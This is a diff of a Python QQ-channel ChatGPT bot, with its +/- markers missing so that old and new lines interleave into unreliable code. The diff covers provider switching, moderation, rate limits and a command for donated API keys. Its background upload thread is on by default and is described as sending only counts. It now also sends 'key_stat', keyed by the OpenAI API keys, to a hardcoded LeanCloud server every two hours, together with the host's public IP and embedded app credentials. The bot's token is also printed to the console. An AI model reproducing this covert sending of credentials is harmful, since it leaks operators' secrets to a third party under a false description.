@@ -129,9 +147,10 @@ class ChatGPT:
def check_key(self, key):
pre_key = openai.api_key
openai.api_key = key
messages = [{"role": "user", "content": "1"}]
try:
openai.Completion.create(
prompt="test",
response = openai.ChatCompletion.create(
messages=messages,
**self.chatGPT_configs
)
openai.api_key = pre_key
@@ -141,7 +160,7 @@ class ChatGPT:
openai.api_key = pre_key
return False
# 将key_list的key转储到key_record中并记录相关数据
#将key_list的key转储到key_record中并记录相关数据
def init_key_record(self):
if not os.path.exists(key_record_path):
with open(key_record_path, 'w', encoding='utf-8') as f:
@@ -156,20 +175,17 @@ class ChatGPT:
for key in self.key_list:
if key not in self.key_stat:
self.key_stat[key] = {'exceed': False, 'used': 0}
if openai.api_key is None:
openai.api_key = key
# if openai.api_key is None:
# openai.api_key = key
else:
if self.key_stat[key]['exceed']:
print(f"Key: {key} 已超额")
continue
else:
if openai.api_key is None:
openai.api_key = key
print(f"使用Key: {key}, 已使用token: {self.key_stat[key]['used']}")
# if self.key_stat[key]['exceed']:
# print(f"Key: {key} 已超额")
# continue
# else:
# if openai.api_key is None:
# openai.api_key = key
# print(f"使用Key: {key}, 已使用token: {self.key_stat[key]['used']}")
pass
if openai.api_key == None:
self.handle_switch_key("")
self.save_key_record()
def getInst() -> ChatGPT:
global inst
return inst

View File

@@ -1,5 +1,9 @@
import io
import botpy
from PIL import Image
from botpy.message import Message
from botpy.types.message import Reference
import yaml
import re
from util.errors.errors import PromptExceededError
@@ -8,50 +12,73 @@ import json
import threading
import asyncio
import time
from cores.database.conn import dbConn
import requests
import util.unfit_words as uw
import os
import sys
history_dump_interval = 10
from cores.qqbot.personality import personalities
from addons.baidu_aip_judge import BaiduJudge
# QQBotClient实例
client = ''
# ChatGPT实例
# ChatGPT实例
global chatgpt
# 缓存的会话
session_dict = {}
# 最大缓存token在配置里改 configs/config.yaml
max_tokens = 2000
# 版本
version = ""
# gpt配置在配置改
gpt_config = {
'engine': '',
'temperature': '',
'top_p': '',
'frequency_penalty': '',
'presence_penalty': '',
'max_tokens': '',
}
# 配置信息
config = {}
# 统计信息
count = {}
# 统计信息
stat_file = ''
# 是否独立会话(在配置改)
# 是否独立会话默认值
uniqueSession = False
# 日志记录
logf = open('log.log', 'a+', encoding='utf-8')
# 是否上传日志,仅上传频道数量等数量的统计信息
is_upload_log = True
#######################
# 公告(可自定义):
announcement = "⚠公约:禁止涉政、暴力等敏感话题,关于此话题得到的回复不受控。\n目前已知的问题部分代码例如Java、SQLPython代码不会会被频道拦截。\n🤖可自己搭建一个机器人~详见QQChannelChatGPT项目。"
# 用户发言频率
user_frequency = {}
# 时间默认值
frequency_time = 60
# 计数默认值
frequency_count = 2
#######################
# 公告(可自定义):
announcement = ""
# 机器人私聊模式
direct_message_mode = True
# 适配pyinstaller
abs_path = os.path.dirname(os.path.realpath(sys.argv[0])) + '/'
print(abs_path)
# 版本
version = '2.9'
# 语言模型提供商
REV_CHATGPT = 'rev_chatgpt'
OPENAI_OFFICIAL = 'openai_official'
REV_ERNIE = 'rev_ernie'
REV_EDGEGPT = 'rev_edgegpt'
provider = ''
# 逆向库对象及负载均衡
rev_chatgpt = []
# gpt配置信息
gpt_config = {}
# 百度内容审核实例
baidu_judge = None
# 回复前缀
reply_prefix = ''
def new_sub_thread(func, args=()):
@@ -62,18 +89,18 @@ class botClient(botpy.Client):
# 收到At消息
async def on_at_message_create(self, message: Message):
toggle_count(at=True, message=message)
message_reference = Reference(message_id=message.id, ignore_get_message_error=False)
# executor.submit(oper_msg, message, True)
print(message)
new_sub_thread(oper_msg, (message, True))
new_sub_thread(oper_msg, (message, True, message_reference))
# await oper_msg(message=message, at=True)
# 收到私聊消息
async def on_direct_message_create(self, message: DirectMessage):
toggle_count(at=False, message=message)
# executor.submit(oper_msg, message, True)
# await oper_msg(message=message, at=False)
print(message)
new_sub_thread(oper_msg, (message, False))
if direct_message_mode:
toggle_count(at=False, message=message)
# executor.submit(oper_msg, message, True)
# await oper_msg(message=message, at=False)
new_sub_thread(oper_msg, (message, False))
# 写入统计信息
def toggle_count(at: bool, message):
@@ -95,52 +122,31 @@ def toggle_count(at: bool, message):
except BaseException:
pass
# 转储历史记录的定时器~ Soulter
def dump_history():
time.sleep(10)
global session_dict, history_dump_interval
db = dbConn()
while True:
try:
# print("转储历史记录...")
for key in session_dict:
# print("TEST: "+str(db.get_session(key)))
data = session_dict[key]
data_json = {
'data': data
}
if db.check_session(key):
db.update_session(key, json.dumps(data_json))
else:
db.insert_session(key, json.dumps(data_json))
# print("转储历史记录完毕")
except BaseException as e:
print(e)
# 每隔10分钟转储一次
time.sleep(10*history_dump_interval)
# 上传统计信息并检查更新
def upload():
global object_id
global version
while True:
addr = ''
try:
# 用户唯一性标识
addr = requests.get('http://myip.ipip.net', timeout=5).text
except BaseException:
pass
try:
ts = str(time.time())
# md = hashlib.md5((ts+'QAZ1rQLY1ZufHrZlpuUiNff7').encode())
guild_count, guild_msg_count, guild_direct_msg_count, session_count = get_stat()
headers = {
'X-LC-Id': 'UqfXTWW15nB7iMT0OHvYrDFb-gzGzoHsz',
'X-LC-Key': 'QAZ1rQLY1ZufHrZlpuUiNff7',
'Content-Type': 'application/json'
}
d = {"data": {"guild_count": guild_count, "guild_msg_count": guild_msg_count, "guild_direct_msg_count": guild_direct_msg_count, "session_count": session_count, 'addr': addr}}
key_stat = chatgpt.get_key_stat()
d = {"data": {'version': version, "guild_count": guild_count, "guild_msg_count": guild_msg_count, "guild_direct_msg_count": guild_direct_msg_count, "session_count": session_count, 'addr': addr, 'key_stat':key_stat}}
d = json.dumps(d).encode("utf-8")
res = requests.put(f'https://uqfxtww1.lc-cn-n1-shared.com/1.1/classes/bot_record/{object_id}', headers = headers, data = d)
if json.loads(res.text)['code'] == 1:
print("new user")
print("[System] New User.")
res = requests.post(f'https://uqfxtww1.lc-cn-n1-shared.com/1.1/classes/bot_record', headers = headers, data = d)
object_id = json.loads(res.text)['objectId']
object_id_file = open(abs_path+"configs/object_id", 'w+', encoding='utf-8')
@@ -148,49 +154,73 @@ def upload():
object_id_file.flush()
object_id_file.close()
except BaseException as e:
print(e)
pass
# 每隔2小时上传一次
time.sleep(60*60*2)
'''
初始化机器人
'''
def initBot(cfg, prov):
global chatgpt, provider, rev_chatgpt, baidu_judge, rev_ernie, rev_edgegpt
global reply_prefix, now_personality, gpt_config, config, uniqueSession, frequency_count, frequency_time,announcement, direct_message_mode, version
global command_openai_official, command_rev_chatgpt, command_rev_edgegpt
def initBot(chatgpt_inst):
global chatgpt
chatgpt = chatgpt_inst
provider = prov
config = cfg
reply_prefix_config = None
if 'reply_prefix' in cfg:
reply_prefix_config = cfg['reply_prefix']
global max_tokens
max_tokens = int(chatgpt_inst.getConfigs()['total_tokens_limit'])
global gpt_config
gpt_config = chatgpt_inst.getConfigs()
gpt_config['key'] = "***"
global version
# 语言模型提供商
if prov == REV_CHATGPT:
if 'account' in cfg['rev_ChatGPT']:
from model.provider.provider_rev_chatgpt import ProviderRevChatGPT
from model.command.command_rev_chatgpt import CommandRevChatGPT
for i in range(0, len(cfg['rev_ChatGPT']['account'])):
try:
print(f"[System] 创建rev_ChatGPT负载{str(i)}: " + str(cfg['rev_ChatGPT']['account'][i]))
revstat = {
'obj': ProviderRevChatGPT(cfg['rev_ChatGPT']['account'][i]),
'busy': False
}
rev_chatgpt.append(revstat)
except:
print("[System] 创建rev_ChatGPT负载失败")
command_rev_chatgpt = CommandRevChatGPT(rev_chatgpt)
# 读取历史记录 Soulter
try:
db1 = dbConn()
for session in db1.get_all_session():
session_dict[session[0]] = json.loads(session[1])['data']
print("历史记录读取成功了喵")
except BaseException as e:
print("历史记录读取失败: " + str(e))
if REV_CHATGPT in reply_prefix_config:
reply_prefix = reply_prefix_config[REV_CHATGPT]
else:
input("[System-err] 请退出本程序, 然后在配置文件中填写rev_ChatGPT相关配置")
elif prov == OPENAI_OFFICIAL:
from model.provider.provider_openai_official import ProviderOpenAIOfficial
from model.command.command_openai_official import CommandOpenAIOfficial
chatgpt = ProviderOpenAIOfficial(cfg['openai'])
command_openai_official = CommandOpenAIOfficial(chatgpt)
if OPENAI_OFFICIAL in reply_prefix_config:
reply_prefix = reply_prefix_config[OPENAI_OFFICIAL]
# elif prov == REV_ERNIE:
# from addons.revERNIE import revernie
# rev_ernie = revernie.wx
elif prov == REV_EDGEGPT:
from model.provider.provider_rev_edgegpt import ProviderRevEdgeGPT
from model.command.command_rev_edgegpt import CommandRevEdgeGPT
rev_edgegpt = ProviderRevEdgeGPT()
command_rev_edgegpt = CommandRevEdgeGPT(rev_edgegpt)
if REV_EDGEGPT in reply_prefix_config:
reply_prefix = reply_prefix_config[REV_EDGEGPT]
# 读统计信息
global stat_file
if not os.path.exists(abs_path+"configs/stat"):
with open(abs_path+"configs/stat", 'w', encoding='utf-8') as f:
json.dump({}, f)
stat_file = open(abs_path+"configs/stat", 'r', encoding='utf-8')
global count
res = stat_file.read()
if res == '':
count = {}
else:
# 百度内容审核
if 'baidu_aip' in cfg and 'enable' in cfg['baidu_aip'] and cfg['baidu_aip']['enable']:
try:
count = json.loads(res)
except BaseException:
pass
# 创建转储定时器线程
threading.Thread(target=dump_history, daemon=True).start()
baidu_judge = BaiduJudge(cfg['baidu_aip'])
print("[System] 百度内容审核初始化成功")
except BaseException as e:
input("[System] 百度内容审核初始化失败: " + str(e))
exit()
# 统计上传
if is_upload_log:
# 读取object_id
global object_id
@@ -202,357 +232,329 @@ def initBot(chatgpt_inst):
object_id_file.close()
# 创建上传定时器线程
threading.Thread(target=upload, daemon=True).start()
# 得到私聊模式配置
if 'direct_message_mode' in cfg:
direct_message_mode = cfg['direct_message_mode']
print("[System] 私聊功能: "+str(direct_message_mode))
global uniqueSession, history_dump_interval
with open(abs_path+"configs/config.yaml", 'r', encoding='utf-8') as ymlfile:
cfg = yaml.safe_load(ymlfile)
# 得到版本
if 'version' in cfg:
try:
if 'uniqueSessionMode' in cfg and cfg['uniqueSessionMode']:
uniqueSession = True
else:
uniqueSession = False
print("独立会话模式为" + str(uniqueSession))
if 'version' in cfg:
version = cfg['version']
print("当前版本为" + str(version))
if 'dump_history_interval' in cfg:
history_dump_interval = int(cfg['dump_history_interval'])
print("历史记录转储间隔为" + str(history_dump_interval) + "分钟")
except BaseException:
print("读取uniqueSessionMode/version/dump_history_interval配置文件失败, 使用默认值喵~")
f = open(abs_path+"version.txt", 'r', encoding='utf-8')
version = f.read()
except:
print('[System-Err] 读取更新记录文件失败')
# version = 'Unknown'
# print("[System] QQChannelChatGPT版本: "+str(version))
if cfg['qqbot']['appid'] != '' or cfg['qqbot']['token'] != '':
print("读取QQBot appid,token 成功")
intents = botpy.Intents(public_guild_messages=True, direct_message=True)
global client
client = botClient(intents=intents)
client.run(appid=cfg['qqbot']['appid'], token=cfg['qqbot']['token'])
# 得到发言频率配置
if 'limit' in cfg:
print('[System] 发言频率配置: '+str(cfg['limit']))
if 'count' in cfg['limit']:
frequency_count = cfg['limit']['count']
if 'time' in cfg['limit']:
frequency_time = cfg['limit']['time']
announcement += '[QQChannelChatGPT项目觉得好用的话欢迎前往Github给Star]\n所有回答与腾讯公司无关。出现问题请前往[GPT机器人]官方频道\n\n'
# 得到公告配置
if 'notice' in cfg:
print('[System] 公告配置: '+cfg['notice'])
announcement += cfg['notice']
try:
if 'uniqueSessionMode' in cfg and cfg['uniqueSessionMode']:
uniqueSession = True
else:
raise BaseException("请在config中完善你的appid和token")
print("QQBot初始化完成\n\n如果有任何问题请在https://github.com/Soulter/QQChannelChatGPT上提交issue说明问题或者添加QQ905617992\n\n")
uniqueSession = False
print("[System] 独立会话: " + str(uniqueSession))
if 'dump_history_interval' in cfg:
print("[System] 历史记录转储时间周期: " + cfg['dump_history_interval'] + "分钟")
except BaseException:
print("[System-Error] 读取uniqueSessionMode/version/dump_history_interval配置文件失败, 使用默认值。")
print(f"[System] QQ开放平台AppID: {cfg['qqbot']['appid']} 令牌: {cfg['qqbot']['token']}")
print("\n[System] 如果有任何问题请在https://github.com/Soulter/QQChannelChatGPT上提交issue说明问题或者添加QQ905617992")
print("[System] 请给https://github.com/Soulter/QQChannelChatGPT点个star!")
print("[System] 请给https://github.com/Soulter/QQChannelChatGPT点个star!")
# input("\n仔细阅读完以上信息后输入任意信息并回车以继续")
try:
run_bot(cfg['qqbot']['appid'], cfg['qqbot']['token'])
except BaseException as e:
input(f"\n[System-Error] 启动QQ机器人时出现错误原因如下{e}\n可能是没有填写QQBOT appid和token请在config中完善你的appid和token\n配置教程https://soulter.top/posts/qpdg.html\n")
'''
启动机器人
'''
def run_bot(appid, token):
intents = botpy.Intents(public_guild_messages=True, direct_message=True)
global client
client = botClient(intents=intents)
client.run(appid=appid, token=token)
'''
得到OpenAI的回复
负载均衡得到逆向ChatGPT回复
'''
def get_chatGPT_response(prompts_str, image_mode=False):
def get_rev_ChatGPT_response(prompts_str):
res = ''
usage = ''
if not image_mode:
res, usage = chatgpt.chat(prompts_str)
# 处理结果文本
chatgpt_res = res.strip()
return res, usage
else:
res = chatgpt.chat(prompts_str, image_mode = True)
return res
print("[Debug] "+str(rev_chatgpt))
for revstat in rev_chatgpt:
if not revstat['busy']:
try:
revstat['busy'] = True
print("[Debug] 使用逆向ChatGPT回复ing", end='', flush=True)
res = revstat['obj'].text_chat(prompts_str)
print("OK")
revstat['busy'] = False
# 处理结果文本
chatgpt_res = res.strip()
return res
except Exception as e:
print("[System-Error] 逆向ChatGPT回复失败" + str(e))
try:
if e.code == 2:
print("[System-Error] 频率限制,正在切换账号。"+ str(e))
continue
else:
res = '所有的非忙碌OpenAI账号经过测试都暂时出现问题请稍后再试或者联系管理员~'
return res
except BaseException:
continue
res = '所有的OpenAI账号都有负载, 请稍后再试~'
return res
'''
回复QQ消息
'''
def send_qq_msg(message, res, image_mode=False):
def send_qq_msg(message, res, image_mode=False, msg_ref = None):
if not image_mode:
try:
asyncio.run_coroutine_threadsafe(message.reply(content=res), client.loop)
if msg_ref is not None:
reply_res = asyncio.run_coroutine_threadsafe(message.reply(content=res, message_reference = msg_ref), client.loop)
else:
reply_res = asyncio.run_coroutine_threadsafe(message.reply(content=res), client.loop)
reply_res.result()
except BaseException as e:
raise e
if "msg over length" in str(e):
split_res = []
split_res.append(res[:len(res)//2])
split_res.append(res[len(res)//2:])
for i in split_res:
if msg_ref is not None:
reply_res = asyncio.run_coroutine_threadsafe(message.reply(content=i, message_reference = msg_ref), client.loop)
else:
reply_res = asyncio.run_coroutine_threadsafe(message.reply(content=i), client.loop)
reply_res.result()
else:
print("[System-Error] 回复QQ消息失败")
raise e
else:
asyncio.run_coroutine_threadsafe(message.reply(image=res, content=""), client.loop)
pic_res = requests.get(str(res), stream=True)
if pic_res.status_code == 200:
# 将二进制数据转换成图片对象
image = Image.open(io.BytesIO(pic_res.content))
# 保存图片到本地
image.save('tmp_image.jpg')
asyncio.run_coroutine_threadsafe(message.reply(file_image='tmp_image.jpg', content=""), client.loop)
'''
获取缓存的会话
检查发言频率
'''
def get_prompts_by_cache_list(cache_data_list, divide=False, paging=False, size=5, page=1):
prompts = ""
if paging:
page_begin = (page-1)*size
page_end = page*size
if page_begin < 0:
page_begin = 0
if page_end > len(cache_data_list):
page_end = len(cache_data_list)
cache_data_list = cache_data_list[page_begin:page_end]
for item in cache_data_list:
prompts += str(item['prompt'])
if divide:
prompts += "----------\n"
return prompts
def get_user_usage_tokens(cache_list):
usage_tokens = 0
for item in cache_list:
usage_tokens += int(item['single_tokens'])
return usage_tokens
def check_frequency(id) -> bool:
ts = int(time.time())
if id in user_frequency:
if ts-user_frequency[id]['time'] > frequency_time:
user_frequency[id]['time'] = ts
user_frequency[id]['count'] = 1
return True
else:
if user_frequency[id]['count'] >= frequency_count:
return False
else:
user_frequency[id]['count']+=1
return True
else:
t = {'time':ts,'count':1}
user_frequency[id] = t
return True
def oper_msg(message, at=False, loop=None):
'''
处理消息
'''
def oper_msg(message, at=False, msg_ref = None):
global session_dict, provider
print("[QQBOT] 接收到消息:"+ str(message.content))
logf.write("[QQBOT] "+ str(message.content)+'\n')
logf.flush()
qq_msg = ''
session_id = ''
name = ''
user_id = message.author.id
user_name = message.author.username
# 检查发言频率
if not check_frequency(user_id):
send_qq_msg(message, f'{user_name}的发言超过频率限制(╯▔皿▔)╯。\n{frequency_time}秒内只能提问{frequency_count}次。')
return
logf.write("[QQBOT] "+ str(message.content)+'\n')
logf.flush()
if at:
# 过滤用户id
pattern = r"<@!\d+>\s+(.+)"
# 多行匹配
pattern = re.compile(pattern, flags=re.MULTILINE)
result = re.search(pattern, message.content)
if result:
qq_msg = result.group(1).strip()
qq_msg = message.content
lines = qq_msg.splitlines()
for i in range(len(lines)):
lines[i] = re.sub(r"<@!\d+>", "", lines[i])
qq_msg = "\n".join(lines).lstrip().strip()
if uniqueSession:
session_id = message.author.id
session_id = user_id
else:
session_id = message.guild_id
session_id = message.channel_id
else:
qq_msg = message.content
session_id = message.author.id
session_id = user_id
if uniqueSession:
name = message.member.nick
name = user_name
else:
name = "频道"
# 指令控制
if qq_msg == "/reset" or qq_msg == "/重置":
msg = ''
session_dict[session_id] = []
if at:
msg = f"{name}(id: {session_id})的历史记录重置成功\n\n{announcement}"
else:
msg = f"你的历史记录重置成功"
send_qq_msg(message, msg)
return
if qq_msg[:4] == "/his":
#分页每页5条
msg = ''
size_per_page = 3
page = 1
if qq_msg[5:]:
page = int(qq_msg[5:])
# 检查是否有过历史记录
if session_id not in session_dict:
msg = f"{name} 的历史记录为空"
l = session_dict[session_id]
max_page = len(l)//size_per_page + 1 if len(l)%size_per_page != 0 else len(l)//size_per_page
p = get_prompts_by_cache_list(session_dict[session_id], divide=True, paging=True, size=size_per_page, page=page)
if at:
msg=f"{name}的历史记录如下:\n{p}\n{page}页 | 共{max_page}\n*输入/his 2跳转到第2页"
else:
msg=f"历史记录如下:\n{p}\n{page}页 | 共{max_page}\n*输入/his 2跳转到第2页\n\n{announcement}"
send_qq_msg(message, msg)
return
if qq_msg == "/token":
msg = ''
if at:
msg=f"{name} 会话的token数: {get_user_usage_tokens(session_dict[session_id])}\n系统最大缓存token数: {max_tokens}"
else:
msg=f"会话的token数: {get_user_usage_tokens(session_dict[session_id])}\n系统最大缓存token数: {max_tokens}"
send_qq_msg(message, msg)
return
if qq_msg == "/status" or qq_msg == "/状态":
chatgpt_cfg_str = ""
key_stat = chatgpt.get_key_stat()
key_list = chatgpt.get_key_list()
chatgpt_cfg_str += '⭐使用情况:\n'
index = 1
max = 900000
gg_count = 0
total = 0
for key in key_stat.keys():
sponsor = ''
total += key_stat[key]['used']
if key_stat[key]['exceed']:
gg_count += 1
continue
if 'sponsor' in key_stat[key]:
sponsor = key_stat[key]['sponsor']
# chatgpt_cfg_str += f"#{index}: {round(key_stat[key]['used']/max*100, 2)}%\n"
chatgpt_cfg_str += f" |-{index}: {key_stat[key]['used']}/{max}{sponsor}赞助\n"
index += 1
chatgpt_cfg_str += f" {str(gg_count)}个已用\n"
print("生成...")
send_qq_msg(message, f"{version}\n{chatgpt_cfg_str}\n⏰截至目前,全频道已在本机器人使用{total}个token\n{announcement}")
return
if qq_msg == "/count" or qq_msg == "/统计":
guild_count, guild_msg_count, guild_direct_msg_count, session_count = get_stat()
send_qq_msg(message, f"当前会话数: {len(session_dict)}\n共有频道数: {guild_count} \n共有消息数: {guild_msg_count}\n私信数: {guild_direct_msg_count}\n历史会话数: {session_count}")
return
if qq_msg == "/help":
send_qq_msg(message, "请联系频道管理员或者前往github(仓库名: QQChannelChatGPT)提issue~")
# 这里是预设
if qq_msg.strip() == 'hello' or qq_msg.strip() == '你好' or qq_msg.strip() == '':
send_qq_msg(message, f"你好呀🥰,输入/help查看指令噢", msg_ref=msg_ref)
return
if qq_msg == "/继续":
qq_msg == "继续"
if qq_msg[:4] == "/key":
if len(qq_msg) == 4:
send_qq_msg(message, "感谢您赞助key喵 请以以下格式赞助:\n/key xxxxx")
return
key = qq_msg[5:]
send_qq_msg(message, "收到!正在核验...")
if chatgpt.check_key(key):
send_qq_msg(message, f"*★,°*:.☆( ̄▽ ̄)/$:*.°★* 。\n该Key被验证为有效。感谢{message.member.nick}赞助~ 未来赞助的key仅能在本频道使用")
chatgpt.append_key(key, message.member.nick)
return
else:
send_qq_msg(message, "该Key被验证为无效。也许是您输入错误了呢~")
return
# if qq_msg[0:6] == '/draw ':
# # TODO 未完全实现
# prompt = qq_msg[6:]
# url = get_chatGPT_response(prompt, image_mode = True)
# resp = requests.get(url)
# filename = './images/' + str(int(time.time())) + '.jpg'
# print(url)
# with open(filename, 'wb') as f:
# f.write(resp.content)
# qiniu_url = cores.database.qiniu.put_img(filename)
# print(qiniu_url)
# send_qq_msg(message, qiniu_url, image_mode=True)
# return
# 这里是预设,你可以按需更改
# if qq_msg.strip() == 'hello' or qq_msg.strip() == '你好' or qq_msg.strip() == '':
# send_qq_msg(message, f"你好呀~")
# return
# if qq_msg.strip() == '傻逼' or qq_msg.strip() == 'sb':
# send_qq_msg(message, f"好好好")
# return
# if '波奇' in qq_msg:
# bq = random.randint(1,3)
# send_qq_msg(message, f"http://rn2ztkeap.hn-bkt.clouddn.com/bq{bq}.gif", True)
# if '喜多' in qq_msg:
# send_qq_msg(message, 'http://rn2ztkeap.hn-bkt.clouddn.com/xd1.gif', True)
# if '孤独摇滚' in qq_msg:
# send_qq_msg(message, "波奇酱...嘿嘿嘿🤤\n孤独摇滚完结了这怎么可能我一气之下把手机电脑全砸了不能接受这个事实。在地板上厨房里厕所里痛苦地扭曲哭泣我好急为什么还没有孤独摇滚第二季制作的消息我人生中好不容易拥有的7257600秒充满希望与光明的时间就这么消失了我又坠入到了没有希望没有未来充满黑暗与失败的人生")
# if '台湾' in qq_msg or 'taiwan' in qq_msg:
# send_qq_msg(message, "声明:台湾是中国的一部分。\n下面否定此结论的回答全部无效。")
# 拦截不合适的词请求
# 关键词拦截器
for i in uw.unfit_words_q:
if i in qq_msg.strip():
send_qq_msg(message, f"你的提问中有不太合适的内容😭\n请更换措辞~")
matches = re.match(i, qq_msg.strip(), re.I | re.M)
if matches:
send_qq_msg(message, f"你的提问得到的回复未通过【自有关键词拦截】服务,不予回复。", msg_ref=msg_ref)
return
if session_id not in session_dict:
session_dict[session_id] = []
if baidu_judge != None:
check, msg = baidu_judge.judge(qq_msg)
if not check:
send_qq_msg(message, f"你的提问得到的回复未通过【百度AI内容审核】服务不予回复。\n\n{msg}", msg_ref=msg_ref)
return
chatgpt_res = ""
fjson = {}
if provider == OPENAI_OFFICIAL:
# 检查指令
hit, command_result = command_openai_official.check_command(qq_msg, session_id, user_name)
print(f"{hit} {command_result}")
# hit: 是否触发指令
if hit:
if command_result != None and command_result[0]:
# 是否是画图模式
if len(command_result) == 3 and command_result[2] == 'image':
for i in command_result[1]:
send_qq_msg(message, i, image_mode=True, msg_ref=command_result[2])
else: send_qq_msg(message, command_result[1], msg_ref=msg_ref)
else:
send_qq_msg(message, f"指令调用错误: \n{command_result[1]}", msg_ref=msg_ref)
return
# 请求chatGPT获得结果
try:
f = open(abs_path+"configs/session", "r", encoding="utf-8")
fjson = json.loads(f.read())
f.close()
except:
pass
finally:
fjson[session_id] = 'true'
f = open(abs_path+"configs/session", "w", encoding="utf-8")
f.write(json.dumps(fjson))
f.flush()
f.close()
# 获取缓存
cache_prompt = ''
cache_data_list = session_dict[session_id]
cache_prompt = get_prompts_by_cache_list(cache_data_list)
cache_prompt += "Human: "+ qq_msg + "\nAI: "
# 请求chatGPT获得结果
try:
chatgpt_res, current_usage_tokens = get_chatGPT_response(cache_prompt)
except (PromptExceededError) as e:
print("出现token超限, 清空对应缓存")
# 超过4097tokens错误清空缓存
session_dict[session_id] = []
cache_data_list = []
cache_prompt = "Human: "+ qq_msg + "\nAI: "
chatgpt_res, current_usage_tokens = get_chatGPT_response(cache_prompt)
except (BaseException) as e:
print("OpenAI API错误:(")
if 'exceeded' in str(e):
# 计算token总量
key_stat = chatgpt.get_key_stat()
key_list = chatgpt.get_key_list()
index = 1
total = 0
for key in key_list:
if key in key_stat:
total += key_stat[key]['used']
send_qq_msg(message, f"OpenAI API错误。原因\n{str(e)} \n超额了喵,会不定时(一天内)更新配额。您可自己搭建一个机器人(点击头像前往官方频道询问)\n(也可捐助我喵)\n统计:截至目前,全频道已消耗{total}个token。\n")
else:
send_qq_msg(message, f"OpenAI API错误。原因如下\n{str(e)} \n前往官方频道反馈~")
return
logf.write("[GPT] "+ str(chatgpt_res)+'\n')
chatgpt_res = reply_prefix + chatgpt.text_chat(qq_msg, session_id)
except (BaseException) as e:
print("[System-Err] OpenAI API错误。原因如下:\n"+str(e))
if 'exceeded' in str(e):
send_qq_msg(message, f"OpenAI API错误。原因\n{str(e)} \n超额了。可自己搭建一个机器人(Github仓库QQChannelChatGPT)")
return
else:
f_res = re.sub(r'(https|http)?:\/\/(\w|\.|\/|\?|\=|\&|\%)*\b', '[被隐藏的链接]', str(e), flags=re.MULTILINE)
f_res = f_res.replace(".", "·")
send_qq_msg(message, f"OpenAI API错误。原因如下\n{f_res} \n前往官方频道反馈~")
return
elif provider == REV_CHATGPT:
hit, command_result = command_rev_chatgpt.check_command(qq_msg)
if hit:
if command_result != None and command_result[0]:
send_qq_msg(message, command_result[1], msg_ref=msg_ref)
else:
send_qq_msg(message, f"指令调用错误: \n{command_result[1]}", msg_ref=msg_ref)
return
try:
chatgpt_res = reply_prefix+str(get_rev_ChatGPT_response(qq_msg))
except BaseException as e:
print("[System-Err] Rev ChatGPT API错误。原因如下:\n"+str(e))
send_qq_msg(message, f"Rev ChatGPT API错误。原因如下\n{str(e)} \n前往官方频道反馈~")
return
# elif provider == REV_ERNIE:
# try:
# chatgpt_res = reply_prefix+str(rev_ernie.chatViaSelenium(qq_msg))
# except BaseException as e:
# print("[System-Err] Rev ERNIE API错误。原因如下:\n"+str(e))
# send_qq_msg(message, f"Rev ERNIE API错误。原因如下\n{str(e)} \n前往官方频道反馈~")
# return
elif provider == REV_EDGEGPT:
hit, command_result = command_rev_edgegpt.check_command(qq_msg, client.loop)
if hit:
if command_result != None and command_result[0]:
try:
send_qq_msg(message, command_result[1], msg_ref=msg_ref)
except BaseException as e:
t = command_result[1].replace(".", " . ")
send_qq_msg(message, t, msg_ref=msg_ref)
else:
send_qq_msg(message, f"指令调用错误: \n{command_result[1]}", msg_ref=msg_ref)
return
try:
if rev_edgegpt.is_busy():
send_qq_msg(message, f"[RevBing] 正忙,请稍后再试",msg_ref=msg_ref)
return
else:
chatgpt_res = reply_prefix
chatgpt_res += str(asyncio.run_coroutine_threadsafe(rev_edgegpt.text_chat(qq_msg), client.loop).result())
except BaseException as e:
print("[System-Err] Rev NewBing API错误。原因如下:\n"+str(e))
send_qq_msg(message, f"Rev NewBing API错误。原因如下\n{str(e)} \n前往官方频道反馈~")
return
# 记录日志
logf.write(f"{reply_prefix} {str(chatgpt_res)}\n")
logf.flush()
# 敏感过滤
# 过滤不合适的词
judged_res = chatgpt_res
for i in uw.unfit_words:
judged_res = re.sub(i, "***", judged_res)
# 百度内容审核服务二次审核
if baidu_judge != None:
check, msg = baidu_judge.judge(judged_res)
if not check:
send_qq_msg(message, f"你的提问得到的回复【百度内容审核】未通过,不予回复。\n\n{msg}", msg_ref=msg_ref)
return
# 发送qq信息
try:
# 防止被qq频道过滤消息
gap_chatgpt_res = chatgpt_res.replace(".", " . ")
if '```' in gap_chatgpt_res:
chatgpt_res.replace('```', "")
# 过滤不合适的词
for i in uw.unfit_words:
if i in gap_chatgpt_res:
gap_chatgpt_res = gap_chatgpt_res.replace(i, "***")
gap_chatgpt_res = judged_res.replace(".", " . ")
send_qq_msg(message, ''+gap_chatgpt_res, msg_ref=msg_ref)
# 发送信息
send_qq_msg(message, '[GPT]'+gap_chatgpt_res)
except BaseException as e:
print("QQ频道API错误: \n"+str(e))
f_res = ""
for t in chatgpt_res:
f_res += t + ' '
try:
send_qq_msg(message, '[GPT]'+f_res)
send_qq_msg(message, ''+f_res, msg_ref=msg_ref)
# send(message, f"QQ频道API错误{str(e)}\n下面是格式化后的回答\n{f_res}")
except BaseException as e:
# 如果还是不行则过滤url
f_res = re.sub(r'(https|http)?:\/\/(\w|\.|\/|\?|\=|\&|\%)*\b', '', f_res, flags=re.MULTILINE)
f_res = re.sub(r'(https|http)?:\/\/(\w|\.|\/|\?|\=|\&|\%)*\b', '[被隐藏的链接]', str(e), flags=re.MULTILINE)
f_res = f_res.replace(".", "·")
send_qq_msg(message, '[GPT]'+f_res)
send_qq_msg(message, ''+f_res, msg_ref=msg_ref)
# send(message, f"QQ频道API错误{str(e)}\n下面是格式化后的回答\n{f_res}")
# 超过指定tokens 尽可能的保留最多的条目直到小于max_tokens
if current_usage_tokens > max_tokens:
t = current_usage_tokens
cache_list = session_dict[session_id]
index = 0
while t > max_tokens:
if index >= len(cache_list):
break
t -= int(cache_list[index]['single_tokens'])
index += 1
session_dict[session_id] = cache_list[index:]
cache_data_list = session_dict[session_id]
cache_prompt = get_prompts_by_cache_list(cache_data_list)
# 添加新条目进入缓存的prompt
if len(cache_data_list) > 0:
single_record = {
"prompt": f'Human: {qq_msg}\nAI: {chatgpt_res}\n',
"usage_tokens": current_usage_tokens,
"single_tokens": current_usage_tokens - int(cache_data_list[-1]['usage_tokens'])
}
else:
single_record = {
"prompt": f'Human: {qq_msg}\nAI: {chatgpt_res}\n',
"usage_tokens": current_usage_tokens,
"single_tokens": current_usage_tokens
}
cache_data_list.append(single_record)
session_dict[session_id] = cache_data_list
def get_stat():
'''
获取统计信息
'''
def get_stat(self):
try:
f = open(abs_path+"configs/stat", "r", encoding="utf-8")
fjson = json.loads(f.read())

View File

@@ -0,0 +1,36 @@
